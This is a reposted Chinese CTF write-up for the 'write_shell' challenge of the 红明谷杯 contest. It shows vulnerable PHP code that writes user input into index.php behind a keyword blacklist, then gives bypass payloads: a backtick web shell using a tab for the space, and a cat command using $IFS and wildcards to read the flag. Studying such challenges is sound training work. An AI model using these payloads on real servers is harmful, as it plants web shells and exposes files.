ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

红明谷杯数据安全大赛

2021-04-04 20:01:10  阅读:155  来源: 互联网

标签:谷杯 waf 红明 数据安全 file input php data dir


write_shell

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

看名字就知道 应该write shell
file_put_contents 为危险函数 可以往 $dir 中写文件
绕过姿势

<?=`ls%09/`?>

可以用$IFS绕过空格
之后 再

cat\$IFS/!whatyouwantggggggg401.ph*?

总结 :
发现 ls命令 可以用 *hp 找到文件 但是cat就不行 不过可以把 星放在后面
要善于发现危险函数 对症下药

标签:谷杯,waf,红明,数据安全,file,input,php,data,dir
来源: https://blog.csdn.net/qq_53755216/article/details/115394690

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有